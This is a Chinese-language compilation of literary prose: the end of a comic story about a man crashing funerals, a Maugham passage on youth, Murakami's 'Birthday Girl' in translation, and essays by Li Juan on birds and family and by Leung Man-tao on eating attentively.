　　我钻进了电梯，但是上面的按钮我够不到，我按了下面的按钮，结果到了太平间！太平间门口商铺、酒吧一应俱全……

　　太平间主任走过来对我说：“欢迎光临！”

　　我连忙说：“别，我还想活着呢！”

　　他又说：“你要是还想活着的话，你就去墓地吧。你先混进参加葬礼的人群中，然后说‘我和死者是同学’，他们就会请你去参加葬后宴。”

　　第二天，我换了一身稍稍体面点的衣服，混进一支送葬队伍后，我说：“我和死者曾经在同一所学校学习……”

　　可这个死者却是个老寿星，已经一百二十岁了。他从棺材里坐起来说：“你这个小毛孩子！托尔斯泰年轻的时候我就认识他。”

　　我又混进了另一支送葬队伍。这次我先看了一眼死者，他的年龄好像跟我差不多。于是我说：“我和死者共事过……”

　　这时候有人悄悄地对我说：“这么说你也在官场混？他就是在官场混被下属雇凶手杀死的。”

　　我立刻逃之夭夭。

　　四处碰壁，心灰意冷的我信步来到了街上。

　　天已经黑了，前面出现了两盏车灯……我想，既然已经走投无路了，不如快点死了算了！想到这儿，我皱了一下眉，迎着那两盏车灯就走了过去……

　　原来那是两辆摩托车！那两辆摩托车从我左右两边风驰电掣般驶了过去，我还站在原地……瞬间，我感觉自己仿佛获得了新生！我太高兴了，高兴得真想放声大哭！活着真好！

一种错觉

毛姆

　　认为青春是快乐的，这是一种错觉，是那些失去了青春的人的一种错觉。年轻人知道，自己是不幸的，他们脑子里充斥了被灌输的不切实际的想法，每次与现实接触时，都会碰的头破血流。似乎，他们是某种阴谋的牺牲者：那些他们所读过的精挑细选的书，那些长辈们谈起的因遗忘而蒙上玫瑰色薄雾的往事，都为年轻人提供了一种不真实的生活。

　　他们必须自己发现，所有他们读到的、听到的东西，都是谎言、谎言、谎言。每一次的这样的发现，都像是另一根钉子钉入他们的身体，那被束缚在生活的十字架上的身体。可是奇怪的是，每个曾经被这种错觉折磨过的人，轮到他们时，有一种不可控制的力量，让他们不自觉地为别人增添这种错觉。

生日女郎

村上春树

一

　　二十岁生日那天，她像平常一样在餐厅做服务生。她每个礼拜五都要上班，但如果按照原计划，在那个特别的礼拜五，她会休息一晚上。另一个兼职的女孩答应和她换班，原因显而易见：被愤怒的厨师呵斥着把南瓜丸子和意式炸海鲜一盘盘运送到顾客桌上——这实在不是过二十岁生日的好方法。但另外那个女孩突然感冒加重卧床不起：腹泻不止，体温高达四十度。因此最终她还是赶去上班了。

　　当那个生病的女孩打电话来道歉时，她发觉自己正在试着安慰她。“不要紧，”她说，“虽然是我二十岁生日，但反正我也没什么特别的事要做。”

　　事实上她也并没有太失望。原因之一是前几天她刚和男友狠狠吵了一架，而生日那天晚上他本来要陪她过的。他们从高中时就好上了。那次争吵起于微不足道的小事，但却出乎意料地越演越烈，直到最后变成了一场漫长而激烈的吼叫比赛——总之，一场糟糕的吵架，糟得足以一劳永逸地毁掉他们的长久关系，她确信。她内心的什么东西变硬了，死了。那次分手后他就没给她打过电话，她也不准备打给他。

　　她工作的地方是位于东京时髦的六本木区的一家有名的意大利餐厅。它开于六十年代末，虽然菜式很难说得上新潮，但信誉却是有口皆碑。它拥有许多常客，它从未让他们失望过。店堂里总是洋溢着一派宁静、放松的气氛，感觉不到丝毫粗俗。它吸引的对象不是年轻人，而是年长一点的顾客，包括一些著名的演员和作家。

　　店里有两名一周工作六天的全职服务生。她和另一个兼职的女孩每人轮流工作三天。此外还有一名领班经理，以及坐在收银台的一个瘦得皮包骨头的中年妇女，她显然从餐馆开张时就在那儿了——看上去似乎从那时起她就一直坐在同一个位置，活像《小多丽》里某个古老阴森的角色。她只有两项功能：收钱和接电话。她除非迫不得已决不说话，并且老穿着一套同样的黑衣服。她身上有某种冷酷的东西：要是让她在夜间的大海上航行，她很可能会把不巧撞到她的小船掀翻。

　　那个领班经理大概五十岁不到一点。个高肩宽，他的体型表明他年轻时是名运动爱好者，不过如今多余的赘肉已经开始附上他的下巴和小腹。他那短短硬硬的头发从头顶处变得稀疏，全身散发出一股挥之不去的老单身汉味儿——就像和止咳药片一起放在抽屉里的过期报纸。她有个单身汉舅舅闻起来就是那样。

　　这位经理总是穿着黑西装，白衬衫和蝴蝶领结——可不是那种揿钮式的，而是真正的领结，用手打的那种。他引以为豪的一点是可以不用看镜子就打出完美的领结。日复一日，他熟练地履行着自己的职责：迎来送往，接待订座，记住那些熟客的名字并向他们微笑致意，对可能发出的任何抱怨都洗耳恭听，提供有关酒类的专业建议，同时监督男女服务生的工作情况。他还有一个特别的任务：把晚饭送到店主的房间。

二

　　“店主在同一幢大楼的第六层有个自己的房间。”她说，“一套公寓或是办公室什么的。”

　　她和我不知怎么聊到了二十岁生日这个话题——我们各自是怎样度过那一天的。大部分人都记得他们二十岁生日的那一天。而她的那一天已经过去十多年了。

　　“尽管如此，他却从未在餐厅露过面。惟一能见到他的就是那个经理。给店主送晚饭是他独有的工作。其他员工甚至连店主长什么样都一无所知。”

　　“也就是说，实际上，你们店主是在从自己的餐厅叫外卖。”

　　“没错，”她说，“每晚八点，领班经理都要把晚饭送到他的房间。那正是餐厅最忙的时段，所以经理偏偏要在那时候消失总是让我们很头痛，但没办法，一直以来都是那样。他们把饭菜装进宾馆送餐服务用的那种小推车，然后经理毕恭毕敬地把它推进电梯，十五分钟后，他空手回来，接着，一小时后，他再上去把放着空碟空杯的推车拿下来。每天如此，精确无误。第一次看到的时候，我觉得非常怪异。那就像某种宗教仪式，你明白吗？但很快我就习惯了，我并没有多想。”

三

　　那个店主每顿都要吃鸡。做法和蔬菜配菜每天有细微的区别，但主菜总是鸡肉。有次一个年轻的厨师告诉她，他曾经试过连续一周每天都做烤鸡送上去，目的就是为了看看会有什么反应，但对方毫无怨言。当然，作为厨师总想尝试一些不同的菜式，而每个新来的厨师都会拿出自己能想到的所有鸡肉烧法来自我挑战一番。他们制作精美的酱料，尝试选择不同的鸡肉供应商，但他们的努力无一得到回应：简直就跟把小石子扔进空空如也的山洞差不多。最终，他们全都放弃了，只是每天为店主准备一份平平常常的鸡肉餐——对他们的要求仅此而已。

　　在她的二十岁生日那天，十一月十七号，工作一如往常。从下午起就在断断续续地下雨，傍晚时成了倾盆大雨。下午五点，经理把员工召集到一起，向他们说明当天的特色菜。服务生要把那些特色菜一字不差地背下来，不能用笔记：米兰小牛肉，浇有沙丁鱼和卷心菜的意大利通心粉，栗子慕斯。有时经理会扮成顾客向他们提问。接下来是员工们的晚饭：这样一家餐厅的侍者可不能在给客人点菜时肚子饿得咕咕叫！

　　餐厅六点钟开始营业，但由于暴雨，顾客到得很慢，有几桌订座干脆被取消了。女士们不想让雨水毁了她们的礼服。经理一言不发地走来走去，侍者们靠擦拭盐瓶和胡椒磨或跟厨师闲聊烹饪方面的事来打发时间。她耳听从天花板音箱小心翼翼流淌出的古钢琴音乐，巡视照看着只有一桌两个人的店堂。一股浓重的深秋雨的气味儿渗入餐厅。

　　过了七点半，领班经理开始感到不舒服。他踉踉跄跄地走向一张椅子，在上面坐了一会儿，他捂着肚子，就像刚刚中了一枪。一颗油亮的汗珠挂在他的额头。“我想我最好去趟医院，”他低声嘟喃着。对他来说生病是件极为罕见的事：自从十多年前他开始在这家餐厅工作时起，他就从未误过一天工。这是他另一个引以为豪的地方，他从未因生病或受伤而缺勤。但如今他脸上痛苦扭曲的表情说明情况非常不妙。

　　她撑把雨伞出门叫了辆出租车。一个侍者扶稳经理，陪他一起乘车前往附近的医院。在俯身钻进出租车之前，那个经理声音嘶哑地对她说：“我要你八点钟把晚饭送到604房间。你要做的就是按响门铃，说‘您的晚餐来了’，然后就离开。”

　　“604 房间，对吗？”她说。

　　“八点钟，”他重复道，“要准时。”他的脸再次痛得扭起来。他爬上车，出租车疾驰而去。

　　经理走后，雨一点停的意思也没有，只有零星的顾客光临。餐厅里仅仅有一两桌客人，所以如果经理和其中一个侍者必须要走开的话，时机可谓刚好。本来这种情况很可能会忙得他们手忙脚乱，哪怕最出色的员工也难以应付。

　　当八点钟店主的晚餐准备好了，她便把送餐服务的小推车推进电梯乘到六楼。那对他是很平常的一餐：瓶塞松开的半瓶红酒，一保温壶的咖啡，配蒸蔬菜的鸡肉，以及面包和黄油。浓郁的鸡肉香味迅速充满了整个电梯。它和雨的气味混在一起。电梯地板上点缀着一些水滴，说明刚刚有人带着湿雨伞乘过电梯。

　　她沿着走廊推动小推车，在标有“604”的门前停下来。她重复核对了一下记忆：604。就是它。她清清喉咙，按下门铃。

　　没有回答。她在那儿站了足足有二十秒。正当她想再按一次门铃的时候，门从里面开了，出现一个瘦小的老头。他比她大概矮四五英寸。穿一身黑西装，打着领带。在白衬衫的映衬下，那条领带显得格外醒目，领带的黄褐色就像是枯叶的颜色。他给人一种很整洁的感觉，衣服熨得无可挑剔，白发梳得一丝不乱：看上去就像正要出门参加某个晚间的正式聚会。他皱着眉毛的皱纹让她想起航拍照片里那些深邃的峡谷。

　　“您的晚餐，先生。”她用沙哑的声音说，说完又轻声清了清喉咙。她只要一紧张声音就会变得沙哑。

　　“晚餐？”

　　“是的，先生。经理突然病了。今天我顶替他。您的晚饭，先生。”

　　“哦，我明白了。”那个老头说，几乎像在自言自语，他的手仍然放在门把手上。“病了，呃？你没说什么病。”

　　“他的肚子突然痛起来。他去医院了。他怀疑他得了阑尾炎。”

　　“哦，那可不太好。”老头说，他的手指沿着额头的皱纹划来划去。“一点都不好。”

　　她再次清清喉咙。“要我把你的饭拿进去吗，先生？”

　　“啊，好的，当然，”老头说，“当然，如果你希望那样。没问题。”

　　如果我希望那样？她不禁在心里反问。多么奇怪的说法。我能希望怎么样？

　　那个老头把门完全打开，她把小推车推进去。整个地板都铺着一层薄薄的灰色地毯，没有地方换鞋。第一个房间像个大书房，这套公寓似乎更像个工作的地方，而不是居住的地方。窗口看出去是附近的东京塔，点点灯光勾勒出钢制的骨架。靠窗有一张大大的书桌，旁边是一张沙发和两张皮质的扶手椅。老头指指沙发前有福米加塑料贴面的咖啡茶几。她把他的晚饭摆在茶几上：白色的餐巾和银质餐具，咖啡壶和咖啡杯，酒和酒杯，面包、黄油和装着鸡跟蔬菜的盘子。

　　“先生，如果您能劳驾把碗碟像平常一样放到走廊上，我会在一小时后来把它们取回去。”

　　她的话似乎使他从对晚餐满怀欣赏的沉思中回过神来。“哦，好的，当然。我会把它们放到走廊。推车上。一小时后。如果你希望那样。”

　　是的，她在心里回答说，那正是此刻她希望的。“还有什么事吗，先生？”

　　“不，我想没有了。”他考虑了一会儿，然后说。他脚穿一双擦得铮亮的黑皮鞋。皮鞋小而别致。他是个穿着讲究的家伙，她想。而且，就他的年纪来说，他站得很直。

　　“那么，先生，我回去工作了。”

　　“不，稍等一下。”他说。

　　“恩？”

　　“你觉得有可能给我五分钟时间吗，小姐？我有些话想对你说。”

　　他的请求如此礼貌，她的脸都红了。“我……想应该可以吧，”她说，“我是说，如果真的只有五分钟的话。”毕竟，他是她的老板。他按小时付她薪水。要她给他一点时间也好，他要占用她的时间也好，都不成问题。再说这个老头看上去也不像会对她做什么坏事。

　　“对了，你今年多大？”老人问。他站在茶几边，抱着胳膊，直直地看着她的眼睛。

　　“现在二十。”她说。

　　“现在二十，”他重复道，他眯起眼睛，仿佛在透过某个缝隙看东西。“现在二十。从什么时候起？”

　　“其实，我刚刚二十，”她说。犹豫一下，她又加了一句，“今天是我生日，先生。”

　　“我明白了，”他说，他搓着下巴，似乎这说明了很多事情。“今天，对吗？今天是你的二十岁生日？”

　　她点点头。

　　“你的人生正好开始于二十年前的今天。”

　　“是的，先生，”她说，“一点没错。”

　　“是的，是的，”他说。“太奇妙了。那么，生日快乐。”

　　“谢谢，”她说，她意识到这还是一天来第一次有人祝她生日快乐。当然，如果她父母从大分打过电话给她，下班回家她会在电话答录机上发现他们的留言。

　　“啊，这当然要庆祝一下，”他说。“干一小杯怎么样？我们可以喝这瓶红酒。”

　　“谢谢你，先生，但我不行，我正在上班。”

　　“哦，喝一小口又有何妨？如果我说可以就没人会责怪你。只是象征性地喝一口以示庆祝。”

　　老人从酒瓶上拔下瓶塞，滴了一点点酒到他的酒杯里给她。然后他从玻璃门的酒柜里拿了一只普通的酒杯，倒了些酒给自己。

　　“生日快乐，”他说。“祝愿你拥有一个富足而丰美的人生，祝愿不会有任何东西在它上面投下黑暗的阴影。”

　　他们碰了碰杯。

　　祝愿不会有任何东西在它上面投下黑暗的阴影。她默默地对自己重复了一遍他的话。他为什么要选择这样不寻常的句子作她的生日祝酒辞呢？

　　“你的二十岁生日在你一生中只此一次，小姐。这是个不可替代的日子。”

　　“是的，先生，我知道，”她说，她小心地抿了一口酒。

　　“而现在，在这个特别的日子，你却像个好心的仙女一样，不辞辛苦地给我送饭。”

　　“我只是在做我的工作，先生。”

　　“不，不只是，”老人说着头快速地摇了几下，“不只是，年轻可爱的小姐。”

　　老人在他书桌后的皮椅上坐下，并示意她坐沙发。她小心翼翼地让自己落在座位的边沿，葡萄酒杯还拿在手里。她双膝并拢，拉拉自己的裙子，再次清了清喉咙。她看见雨点在窗上画出一条条线流下来。房间里静得出奇。

　　“今天刚好是你的二十岁生日，而正是今天你给我带来了热乎乎的美味饭菜，”老人说，好像要再次确认这一事实。接着他把酒杯轻轻砰的一声放到桌面上。“这一定是某种特殊的巧合，你不觉得？”

　　她挤出一个虚弱的微笑，她并不怎么觉得。

　　“那就是为什么，”他摸着枯叶色领带的领带结说，“我觉得送你一件生日礼物对我来说很重要。一个特别的生日需要一件特别的纪念礼物。”

　　她一阵慌乱，她摇摇头说，“不，请不要，先生，别多想了。我只是按指示把饭菜送到这里。”

　　那个老人抬起两只手，手心朝向她。“不，小姐，是你别多想了。我所说的那种‘礼物’并非什么有形的东西，并非什么有价格标签的东西。简单地说，”他把双手放在桌子上，长长地，缓慢地呼吸一口，“对于你这样一个年轻可爱的仙女，我想做的是让你许个愿，而后让你的愿望成真。任何愿望。你想要实现的任何一个愿望——假如你确实有那样一个愿望。”

　　“一个愿望？”她问道，她的嗓子有点发干。

　　“某件你希望会发生的事情，小姐。如果你有某个愿望——某一个愿望，我会让你愿望成真。那就是我所能给你的生日礼物。但你最好非常仔细地想想，因为我只能满足你一个愿望。”他竖起一根手指。“只有一个。之后你不能反悔也不能收回。”

　　她不知该说什么好。一个愿望？雨点被风裹挟着，不均匀地轻拍在玻璃窗上。在她保持沉默的时间里，老人看着她的眼睛，一言不发。时间在她耳中发出不规则的脉动。

　　“我许下某个愿望，然后它就会实现？”

　　老人没有回答她的问题，他——双手仍然并排摆在桌上——只是朝她展开微笑。他这样做的时候显得无比亲切和自然。

　　“你有什么愿望吗，小姐，或者没有？”他柔声问道。

四

　　“这的的确确发生过，”她说，她认真地看着我。“我不是在胡编乱造。”

　　“当然不是，”我说。她不是那种会无中生有地编些无聊故事的人。“那么……你许愿了吗？”

　　她又看了我一会儿，然后发出一声轻微的叹息。“别以为我傻，”她说。“我并没有拿他的话百分之百地当真。我是说，二十岁时你已经不可能还只生活在童话世界里。不过，如果他是想开个玩笑，我就得当场接过他的话头配合一下，不是吗？他是个衣冠楚楚、眼睛里闪着愉快光亮的小老头，所以我决定陪他玩下去。毕竟，那天是我的二十岁生日，我想应该有点不同寻常的什么发生在自己身上。那根本不是信不信的问题。”

　　我点点头，没有吭声。

　　“那种感受，我相信你能理解。我的二十岁生日正在走向尾声，没有任何特别的事情发生，也没有人为我庆贺生日，我所做的只是把一盘盘淋了凤尾鱼酱的意大利饺子端到客人桌子上。”

　　“别担心，”我说，“我能理解。”

　　“于是我许了个愿。”

五

　　那个老人目不转睛地盯着她，一言不发。他的双手放在桌面上。桌上还有几个厚厚的大概是帐簿的文件夹，外加一些文具，一本台历和一盏绿灯罩的台灯。他那小小的双手放在它们中间，看上去就像桌面上的另一样摆设。雨继续敲打着窗户，东京塔的灯光穿透过雨的碎末。

　　老人额头的皱纹稍稍加深了一点。“那就是你的愿望？”

　　“是的，”她说。“那就是我的愿望。”

　　“对于你这样年纪的女孩，有点儿非同寻常，”他说，“我以为会是另外的什么。”

　　“要是这不行我可以许个其它什么愿，”她清清喉咙说。“我不介意。我再想个其它愿望好了。”

　　“不，不，”老人说，他抬起双手，挥动得像旗子一样。“这个愿望没问题，毫无问题。只是有一点令人吃惊，小姐。你不想要点其它什么吗？比如说，你想更漂亮，或者更聪明，或者更有钱：你确定自己不要许个像那样的——一般女孩都会想许的那种——愿望吗？”

　　她花了一会时间搜寻合适的字句。那个老人只是等着，什么也不说，他的两手又一起回到了桌上。

　　“我当然也想更漂亮，更聪明，或者更有钱。但我实在无法想像如果这其中哪个愿望真的实现了，会有什么事情发生在我身上。那大概会超出我的控制之外。我还不太清楚人生到底是怎么一回事。我还不知道它是如何运转的。”

　　“我明白，”那个老人说，他把手指交叉起来然后又分开。“我明白。”

　　“那，我的愿望行吗？”

　　“行，”他说，“当然行。这对我来说毫不费力。”

　　那个老人突然把视线固定在空中的一点。他额头的皱纹更深了：它们俨然就是凝神思考时大脑本身的皱褶。他似乎正在凝视着漂浮在他面前的什么东西——也许是那些几乎看不见的降落的尘埃。他张大双臂，从椅子上轻轻起身，双掌拍击，发出干巴巴的“噼啪”一声。在椅子上重新坐好后，他用手指慢慢抚过额头的皱纹，仿佛要把它们抚平。他带着和蔼的微笑朝她转过身。

　　“可以了。”他说，“你的愿望被接受了。”

　　“好了？”

　　“是的，不费吹灰之力。你的愿望已经被接受了，可爱的小姐。生日快乐。现在你可以回去工作了。别担心，我会把推车放到走廊上。”

　　她乘电梯下楼回到餐厅。手上现在空荡荡的，让她觉得轻得几乎令人不安，就像自己正走在某种神秘的毛绒上。

　　“你怎么了？看上去魂不守舍的。”年轻点的侍者对她说。

　　她摇摇头，给了他一个含糊的微笑。“哦，真的？没有啊，我很好。”

　　“跟我说说店主的事。他长什么样？”

　　“不清楚，我没怎么好好看。”她切断了话头。

　　一小时后她去把推车拿了下来。推车放在外面走廊上，上面的餐具摆得井井有条。她掀起盖子，鸡肉和蔬菜都不见了。酒瓶和咖啡壶也空了。604房间的房门关着，面无表情地站在那里。她盯着门看了一会儿，觉得它好像随时都会打开，但它没有。她把推车运下电梯，推到厨房洗碗机那儿。厨师用空洞的眼神看了看盘子：一如以往，里面吃得一点不剩。

六

　　“我再也没见过那个店主，”她说，“一次也没有。领班经理最终诊断只是普通的胃痛，第二天便回来亲自给店主送饭了。元旦后我辞去了那份工作，再也没回过那个地方。我不知道，我只是觉得最好别再走近那里，类似某种预感。”

　　她手里玩着一只纸船，思绪不知飘去了哪里。“有时我会有种感觉，在我二十岁生日那天所发生的一切都是某种幻觉。就好像碰巧有什么让我以为发生了那些其实根本没有真正发生过的事情。但我十分确定地知道，那真的发生过。我至今还能栩栩如生地回忆起604房间里的每一件家具和每一样摆设。在那个房间里发生在我身上的一切的确发生过，而且对我来说意义非凡。”

　　我们俩沉默了一会儿，喝着各自的饮料，想着各自的心事。

　　“问你件事情行吗？”我问。“或者，更确切地说，是两件事。”

　　“问吧，”她说。“我猜你要问我那时许了什么愿。那是你想知道的第一件事。”

　　“但看起来你似乎不想说。”

　　“是吗？”

　　我点点头。

　　她放下手里的纸船，眯起眼睛，好像正在注视着什么遥远的东西。“你知道，许什么愿是不能告诉别人的。”

　　“我并没有要你告诉我，”我说。“不过，我想知道它是否真的实现了。还有——不管那个愿望本身如何——你后来是否对自己选择的愿望感到后悔。你曾为当初没有许下其它的愿望而觉得遗憾吗？”

　　“第一个问题的答案既是‘yes’又是‘no’。我剩下的人生还很长，大概。我还不清楚事情最终会变成什么样子。”

　　“那么这是个要花时间去实现的愿望喽？”

　　“可以那么说。时间在这里起的作用非常重要。”

　　“就像做菜？”

　　“就像做菜。”

　　我就此想了一会儿，但惟一浮上脑海的是一块巨大的馅饼用低火在烤箱里慢慢烤熟的画面。

　　“那第二个问题的答案呢？”

　　“那是什么来着？”

　　“你是否后悔过自己选择的愿望。”

　　一阵沉默。她转向我的眼睛里似乎没有任何深度可言。一丝微笑的阴翳闪过她的嘴角，给人一种平静的顺从感。

　　“我结婚了，”她说。“嫁给了一个大我三岁的会计师。我有两个孩子，一个男孩一个女孩。我们养了一条爱尔兰雪达犬。我开奥迪，每周和朋友打两次网球。那就是现在我过的生活。”

　　“听上去很不错。”我说。

　　“哪怕奥迪的保险杠上撞凹了两块？”

　　“嗨，保险杠装了就是用来撞凹的。”

　　“这可以做个很棒的保险杠贴纸哦，”她说。“‘保险杠就是用来撞凹的’。”

　　她那样说的时候我看着她的嘴巴。

　　“这就是我想要告诉你的，”她说，声音更加轻柔。她摸着自己的一只耳垂。那是只形状很美的耳垂。“无论许下什么愿望，无论走得多远，人们始终还是他们自己。如此而已。”

　　“又一条很妙的保险杠贴纸，”我说。“‘无论走得多远，你始终还是你自己。’”

　　她大声笑起来，真的很开心的样子，嘴角的阴翳不见了。

　　她把胳膊肘支在吧台上看着我。“告诉我，”她说。“如果你处在我的位置，你会许什么愿？”

　　“你的意思是，在我二十岁生日的晚上？”

　　“恩哼。”

　　我花了一点时间思考这个问题，但我想不出答案。

　　“我什么也想不出，”我承认说。“我的二十岁生日过去太久了。”

　　“你真的什么愿望都想不出？”

　　我摇了摇头。

　　“一个都没有？”

　　“一个都没有。”

　　她再一次看着我的眼睛——直接而深入——然后说，“那是因为你已经许过愿了。”

七

　　“但你最好非常仔细地想想，因为我只能满足你一个愿望。”在黑暗中的某个地方，一个打着枯叶色领带的老头竖起一根手指。“只有一个。之后你不能反悔也不能收回。”

花脸雀

李娟

　　我实在看不出那种鸟的脸花在哪里。甚至连它们的脸长得什么样子都看不清楚──它们在沼泽上左跳右跃，上突下闪，急匆匆地来，慌忙忙地去。

　　外婆一看到这种鸟就像小孩子一样又惊又喜：“花脸雀！花脸雀──我们放生铺的花脸雀怎么飞到这里来了？”

　　放生铺──她的故乡，她九十年的时光里生活了近三十年的地方。

　　我去过放生铺几次。也记得那个四季长青、松柏满坡的地方的确有很多鸟，但实在想不起其中还有一种鸟叫什么“花脸雀”……在那个地方，每天早上鸟儿们跟吵架似地叫得热闹非凡。

　　沙依横布拉克的鸟也多，但啾叫声却薄寥寥的。大约山野太广阔了，发生其间的任何声响都会被拉得一声与一声远离，显得惊惊乍乍而稀稀落落。

　　那些鸟更知道怎样去沉默。

　　那些鸟，有的长得跟麻雀似的，不显眼。开始我也就把它们当成麻雀了，后来发现它们踱着步走而不是跳着走的。又仔细观察别的鸟，才知道没有一只是我见过的。我见过的鸟都只以“大鸟”、“小鸟”和“鸡”的概念出现，没有更详细的分类。

　　外婆整天“花脸雀，花脸雀”地念叨，真搞不清楚她在说哪一种，是体态稍显修长清秀，翅膀上有白斑的那种黑鸟，还是灰不溜秋，腹部白中带抹轻红的那位？问题是它们的脸都不太花。

　　她每天洗了碗就把洗碗水倒在固定的地方，水渗进大地，饭粒残渣留了下来。那些鸟每天去那里努力啄啊啄。双方都养成了习惯。

　　一般来说，同类的鸟都往一块儿站，那片沼泽上便清清楚楚地分了好几个门派，决不会瞎掺和成一团。如果不这样，我无论如何也弄不清楚谁是谁。它们的差别太细微了，只有我外婆那样的老人家才有那个闲工夫去一一分辨——“花脸雀又来了。”或者──“今天怎么只有灰山雀雀来？”

　　“灰山雀雀”又是什么？

　　我妈干活时也爱往那边瞅。她观察得更详细，详细得让人无法相信。她说上午来的那批鸟和下午来的那批不一样，午后和黄昏的也各有讲究，毫不乱来。仿佛鸟们私下议定了秩序，划分了时间段似的。

　　她还说有一公一母两只鸟──实在想不通她是怎么辨别公母的──每天下午四点都要来那么一阵子，而且总是只有它们两只。公的叨到食了，就赶紧去喂母的，等母的吃饱了，他自己才吃一点。吃完了，互相叫唤一阵便双双飞去。她每天都在等那两只鸟。

　　我整天啥事不干，瞪大了眼睛也没本事发现什么。每只鸟真的都长得差不多啊。

　　想起一件事。在内地上学时，有一次我和妈妈在我的中学校园里散步。走进花园里覆盖着葡萄藤的读书廊时，她在绿荫碧盖间停住，惊异地叫出声：

　　“看──那么多鸟！”

　　“哪儿？哪儿？”我东张西望。

　　“那儿！那儿──就是那儿──”

　　顺着她指的方向看去，鸟影子也没有一只。干脆拉上她要走：“鸟有什么好看的！”

　　“不是，那鸟很奇特……”她沉默了，站那儿不走，看出了神。我只好跟着徒劳无功地努力往那边瞅：“怎么样奇特啊？”

　　“特小……顶多只有手指头肚儿那么大点儿……到处都是……五只，六只……十一，十二……天啦，居然有那么多！不留神还看不出来……”

　　“哪儿呢？哪儿呢？”

　　“……你看，到处都是，恐怕上百只不止……静静地，全都不吭声……看──飞起一只……”

　　我还是什么也看不到，瞎着急。她指向的地方是一篷乱糟糟的冬青，没有修理，被一个喷泉挡住大半。更远处是一棵黄桷树。

　　“……真是鸟的天堂……”

　　我放弃。静静地听她的描述，好像真的看到了一样，那么多袖珍的鸟儿，静静地栖在枝梢，一动不动，目光沉静……我渴望它们一下子全飞起来，一下子闹翻天，让我能一下子看见──可那里始终只是一篷平凡的冬青。

　　最后我只好装作看到了的样子，和妈妈边议论这事边离开了。后来她经常一个人去看那些鸟，还带别人去看。所有人都声称看到了（说不定和我一样也是装的……），只有我，在那个地方生活了三年还是连鸟毛都没看到一根。我只好相信，那个世界的门只能被我妈妈的眼睛打开。

　　那么“花脸雀”呢？开始我妈也不知道何为“花脸雀”。后来我外婆指了一回给她看，她就知道了。可我外婆给我指了一百回我都搞不清。疑心她年纪大了，指得不准。而且鸟那么多，那么杂，一会儿就把眼晃花了，刚刚认下就飞了，这只看着像，那只看着也像，过一会儿又全不像。再过一会便懒得理它们了，跑去干别的事情──真是的，认下一只鸟儿对我有什么用呢？它会从此属于我吗？

　　外婆有三十年的时光在稠密浓黏的鸟叫声中度过，是不是鸟已经用翅膀载走了她的生命中的一部分？她整天坐在沼泽边的一根倒木上，笑眯眯地看，好像在看她养的一群小鸡。

　　外婆多么寂寞。我们之间遥远陌生的七十年人生距离让这种寂寞更为孤独，不可忍受。她生命中的鸟永远不会飞进我的生命，哪怕只有一只。因为有七十年的时间我们没有在一起。

　　还有我妈，她是否真的就知道外婆所说的“花脸雀”？如果她认错了，这个误会将永远存在于剩下的时间里，且再没有任何机会与必要来进行澄清。尤其是她们永远不会意识这个了，亲情只因表面上的沟通而浓郁吗？哪怕是一家人，之间仍隔有无边的距离。

　　那么我和我妈之间呢？我们之间的那些鸟儿，到底有没有？

　　我们三人共同生活在沙依横布拉克那片沼泽上的一个小帐篷里。却仅因一只鸟儿，彼此分离得那么远。

　　不过现在我知道了，所谓“花脸雀”，其实就是外婆家乡的画眉子鸟。但知道了这个又有什么用呢──我还是不知道那个“画眉子”具体又是什么样的。

吃饭是一件需要认真对待的事

梁文道

　　有一位日本大禅师，日日修行，也没什么别的嗜好，唯独喜欢甜食。在他病重的时候，弟子们从全国各地赶来探望，当然也不忘带一些果子送给恩师，好让他在圆寂前尝一尝。终于到了快要坐化的那一刻了，老禅师一如任何道行高深的修行者，端坐席上，相貌平和。然后，他竟然拿起了一块甜饼，放进口中，有点艰难地慢慢咀嚼。吃罢，他微微启唇，好像要说点什么，于是弟子们统统紧张地紧聚过去，心想师父要做他人生中最后一次开示了，非得好好听清楚不可。老禅师终于说话了，他只说了两个字：“好吃！”然后就断了气。

　　一个人走到了生命的最后一刻，心中想的竟然还是适才甜品的滋味，留下的遗言竟然还是对那块甜品的赞美，没有任何告别，更没有不舍与恐惧，他还不算最厉害的美食家吗？所谓的美食家难道不就该是这般模样吗？一心一意地对待眼前的食物，心无旁骛，甚至置生死于度外。

　　后来大家都说这位禅师真是高，已经达到觉悟的境界了，理由是佛学的修行最讲究一个人是否时刻“正念”。

　　“正念”指的就是非常专注地活在当下，走路时专心走路，睡觉时专心睡觉，不执着过往发生的快事，也不忧虑未来的烦恼。这种状态自然是快乐的，同时也是无我的，因为它完全切断了我的过去与未来，不把过去发生的事情当作自己的事，也不把将来的我看成是现在这个我的延续。要在平常达到这种状态已经很难，要在死的那一刹那仍然保持就更难。所以很多人都认定这位甜品禅师是真正地涅了。

　　其实我们天天进食，又何曾试过每一餐每一口都专心地吃呢？吃早餐的时候看报纸，吃午饭的时间变成一场工作会议，吃晚餐的时候用电视汁捞饭；我们有多久没试过好好地一心一意地对待眼前的食物了？如果我们专心地吃，食物的味道会不会变得和平常不一样呢？我们常常为一些吃斋的人感到可惜，为一些饮食上诸多禁忌的人扼腕。可是回头细想，我们平常囫囵吞枣地吃东西，难道这就真的享受了人生，懂得饮食的乐趣了吗？

　　看来美食家起码可以分成两类，绝大多数都是心思敏捷，想象力丰富，吃一块肉的时候，会回味起从前远方某家菜馆的手段是如何高明，抑或者明天的一顿盛宴。少数像甜品禅师这样的，则全神贯注于眼前所见嘴中所言。对这种人来讲，或许连一口白饭都是人间至味。

　　日本还有一位以烹调精进料理闻名的禅僧藤井宗哲，他曾经在一趟新干线的火车旅次上遇见一位青年，这个年轻的上班族把公文包放在膝上当小桌，一边喝啤酒一边看杂志，还拿了个便当出来吃。

　　宗哲和尚注意到，这位青年“是以看杂志为主，顺便吃便当”。他的行为“不过是把‘进食’当作机能性动作；也就是将食物放入口中，机械地咀嚼后，经过喉咙，最后储存在胃袋。宗哲和尚好整以暇地看着这位上班族，发现他的目光始终盯着杂志，一点也感觉不到便当的存在。这类人的饮食生活，可称之为‘机器人进食’”。

　　说来惭愧，我也是个进食机器人，常常一个人吃饭，而吃的时候也是丢不开书本杂志，生怕浪费了吃饭的时间。

　　真是讽刺，这可是个美食膨胀的年代，几乎人人都是美食家，偏偏我们还会觉得吃饭是件浪费时间的事情。大概心中有个标准，觉得日常三餐又是必要的营生手续，可以随便打发，任意填上其他活动；而美食，则是一种很特别的东西，必须认真对待。

　　美国佛学导师康菲尔德的葡萄干修行法，他教导学生用 10 分钟去吃一颗葡萄干，很多人吃完之后竟然觉得太饱了！

